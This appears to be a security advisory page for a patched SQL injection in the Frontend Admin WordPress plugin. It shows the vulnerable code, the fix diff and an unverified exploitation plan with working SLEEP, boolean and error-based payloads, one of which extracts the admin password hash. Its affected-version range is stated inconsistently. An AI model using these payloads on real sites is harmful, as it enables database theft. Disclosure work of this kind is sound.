CVE-2026-10039

Frontend Admin by DynamiApps <= 3.28.28 - Authenticated (Administrator+) SQL Injection via 'order' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
3.28.29
Patched in
1d
Time to patch

Description

The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to generic SQL Injection via the 'order' parameter in all versions up to, and including, 3.28.28 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires that the attacker also supply a valid 'orderby' parameter in the same request, as this is necessary to reach the vulnerable code path that processes and concatenates the 'order' value into the SQL query.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.28.8
PublishedMay 28, 2026
Last updatedMay 29, 2026

What Changed in the Fix

Changes introduced in v3.28.29

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-10039 - SQL Injection in Frontend Admin ## 1. Vulnerability Summary The **Frontend Admin by DynamiApps** plugin (versions <= 3.28.28) is vulnerable to SQL Injection via the `order` parameter. The vulnerability exists because the plugin incorrectly uses `$wpdb-…

Show full research plan

Exploitation Research Plan: CVE-2026-10039 - SQL Injection in Frontend Admin

1. Vulnerability Summary

The Frontend Admin by DynamiApps plugin (versions <= 3.28.28) is vulnerable to SQL Injection via the order parameter. The vulnerability exists because the plugin incorrectly uses $wpdb->prepare() by concatenating user-controlled input directly into the SQL template string rather than using placeholders. Specifically, in the get_payments and get_plans methods of the WP_List_Table classes, the order parameter is concatenated after ORDER BY logic, allowing an administrator to inject arbitrary SQL expressions.

2. Attack Vector Analysis

  • Endpoint: WordPress Admin Dashboard (/wp-admin/admin.php).
  • Target Pages:
    • page=fea-payments (renders the FEA_Payments_List table).
    • page=fea-plans (renders the Plans_List table).
  • Vulnerable Parameter: order.
  • Required Parameter: orderby (must contain a valid column name to reach the vulnerable code path).
  • Authentication: Requires an authenticated user with administrator privileges (as the pages are located in the admin dashboard).
  • Preconditions:
    • The plugin and its dependency Advanced Custom Fields (ACF) must be active.
    • At least one record must exist in the target table (wp_fea_payments or wp_fea_plans) for the ORDER BY expression to be evaluated.

3. Code Flow

  1. Entry Point: A user navigates to wp-admin/admin.php?page=fea-payments.
  2. Hook: The admin page triggers the rendering of the FEA_Payments_List table.
  3. Table Preparation: The FEA_Payments_List::prepare_items() method is called.
  4. Data Retrieval: prepare_items() calls the static method get_payments($per_page, $page_number) (located in main/admin/admin-pages/payments/list.php).
  5. Vulnerable Sink: Inside get_payments(), the SQL query is built:
    • orderby is sanitized via sanitize_sql_orderby().
    • order is processed (lines 52-54):
      $sql .= ! empty( $_REQUEST['order'] ) ? 
          $wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) ) // <--- VULNERABLE SINK
          :
          ' ASC';
      
  6. Execution: The resulting $sql string (which now contains the payload) is executed via $wpdb->get_results($sql, 'ARRAY_A').

4. Nonce Acquisition Strategy

This vulnerability is located in a standard WordPress Admin list table page (ajax => false).

  • Standard Admin Pages: Do not require an AJAX nonce for initial page load and data retrieval via GET requests.
  • Authentication: Provided by the wordpress_logged_in_* session cookies.
  • CSRF Protection: While the page might have nonces for actions (like delete), the orderby and order parameters used for sorting the view are handled directly via GET/POST requests without nonce verification in the get_payments or get_plans methods.

5. Exploitation Strategy

We will perform a Time-Based Blind SQL Injection using the SLEEP() function.

Payload Construction:

  • orderby: Must be a valid column name for the table. For payments: amount.
  • order: , (SELECT 1 FROM (SELECT SLEEP(5))x)
  • Resulting SQL Fragment: ORDER BY amount , (SELECT 1 FROM (SELECT SLEEP(5))x) LIMIT 20 OFFSET 0

Steps:

  1. Login: Authenticate as an Administrator and capture cookies.
  2. Baseline Request: Request the payments page with standard sorting and measure the response time.
    GET /wp-admin/admin.php?page=fea-payments&orderby=amount&order=ASC
    
  3. Exploit Request: Request the same page with the SLEEP payload.
    GET /wp-admin/admin.php?page=fea-payments&orderby=amount&order=%2c%20(SELECT%201%20FROM%20(SELECT%20SLEEP(5))x)
    
  4. Verification: If the response takes ~5 seconds longer than the baseline, the injection is successful.

6. Test Data Setup

The target tables must exist and contain at least one row.

# Ensure ACF and Frontend Admin are active
wp plugin activate acf-frontend-form-element advanced-custom-fields

# Create the payments table (if not already created by plugin)
wp db query "CREATE TABLE IF NOT EXISTS wp_fea_payments (id INT AUTO_INCREMENT PRIMARY KEY, description TEXT, amount DECIMAL(10,2), currency VARCHAR(3), method VARCHAR(20), created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP);"

# Insert a dummy row to ensure the ORDER BY expression is evaluated
wp db query "INSERT INTO wp_fea_payments (description, amount, currency, method) VALUES ('Test Payment', 10.00, 'USD', 'stripe');"

7. Expected Results

  • Success: The server response for the exploit request is delayed by 5 seconds.
  • Data Leakage (Alternative): Using an error-based payload (e.g., updatexml) would result in a database error message containing the leaked data (if WP_DEBUG is enabled).

8. Verification Steps

After the exploit, verify the database state to ensure the query was executed:

  1. Review the wpdb->last_query if debugging is enabled.
  2. Use wp-cli to check for any records that might have been affected if a BENCHMARK or MD5 payload was used.
  3. Check the PHP error log (if accessible) for SQL syntax errors which confirm the injection point.

9. Alternative Approaches

If time-based injection is unreliable due to network latency, use Boolean-Based Blind Injection:

  • True Payload: order=, (SELECT 1 WHERE 1=1) (Normal response)
  • False Payload: order=, (SELECT 1 WHERE 1=2) (Possibly different response or error)

Alternatively, if WP_DEBUG is on, use Error-Based Injection:

  • Payload: , (SELECT 1 FROM (SELECT 1)x WHERE 1=updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1))
  • Expected: SQL error in response containing the admin password hash.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Frontend Admin plugin for WordPress is vulnerable to authenticated SQL Injection via the 'order' parameter in administrative list tables. This occurs due to improper use of the $wpdb->prepare() function where user-controlled input is concatenated directly into the SQL query's ORDER BY clause without sufficient validation or the use of placeholders.

Vulnerable Code

/* main/admin/admin-pages/payments/list.php line 49 */
			if ( ! empty( $_REQUEST['orderby'] ) ) {
				$sql .= $wpdb->prepare( ' ORDER BY ' . sanitize_sql_orderby( $_REQUEST['orderby'] ) );
				$sql .= ! empty( $_REQUEST['order'] ) ? 
					$wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) )
					:
					' ASC';
			}else{
				$sql .= ' ORDER BY created_at DESC' ;
			}

---

/* main/admin/admin-pages/plans/list.php line 49 */
			if ( ! empty( $_REQUEST['orderby'] ) ) {
				$sql .= $wpdb->prepare( ' ORDER BY ' . sanitize_sql_orderby( $_REQUEST['orderby'] ) );
				$sql .= ! empty( $_REQUEST['order'] ) ? 
					$wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) )
					:
					' ASC';
			}else{
				$sql .= ' ORDER BY created_at DESC' ;
			}

Security Fix

diff --git a/main/admin/admin-pages/payments/list.php b/main/admin/admin-pages/payments/list.php
--- a/main/admin/admin-pages/payments/list.php
+++ b/main/admin/admin-pages/payments/list.php
@@ -50,9 +50,8 @@
 
 			if ( ! empty( $_REQUEST['orderby'] ) ) {
 				$sql .= $wpdb->prepare( ' ORDER BY ' . sanitize_sql_orderby( $_REQUEST['orderby'] ) );
-				$sql .= ! empty( $_REQUEST['order'] ) ? 
-					$wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) )
-					:
-					' ASC';
+				$order = ( ! empty( $_REQUEST['order'] ) && strtolower( $_REQUEST['order'] ) === 'desc' ) ? 'DESC' : 'ASC';
+				$sql .= " $order";
 			}else{
 				$sql .= ' ORDER BY created_at DESC' ;
 			}
diff --git a/main/admin/admin-pages/plans/list.php b/main/admin/admin-pages/plans/list.php
--- a/main/admin/admin-pages/plans/list.php
+++ b/main/admin/admin-pages/plans/list.php
@@ -50,9 +50,8 @@
 
 			if ( ! empty( $_REQUEST['orderby'] ) ) {
 				$sql .= $wpdb->prepare( ' ORDER BY ' . sanitize_sql_orderby( $_REQUEST['orderby'] ) );
-				$sql .= ! empty( $_REQUEST['order'] ) ? 
-					$wpdb->prepare( ' ' . esc_sql( $_REQUEST['order'] ) )
-					:
-					' ASC';
+				$order = ( ! empty( $_REQUEST['order'] ) && strtolower( $_REQUEST['order'] ) === 'desc' ) ? 'DESC' : 'ASC';
+				$sql .= " $order";
 			}else{
 				$sql .= ' ORDER BY created_at DESC' ;
 			}

Exploit Outline

1. Authenticate as a WordPress user with 'administrator' privileges. 2. Navigate to a page utilizing the vulnerable WP_List_Table classes, such as the payments list at '/wp-admin/admin.php?page=fea-payments'. 3. Craft a GET request that includes a valid 'orderby' parameter (e.g., 'amount') and a malicious 'order' parameter. 4. Provide a time-based SQL injection payload in the 'order' parameter, such as ', (SELECT 1 FROM (SELECT SLEEP(5))x)'. 5. The application will concatenate this payload into the SQL query's ORDER BY clause, causing the database to execute the SLEEP function and confirming the vulnerability through response time delay.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.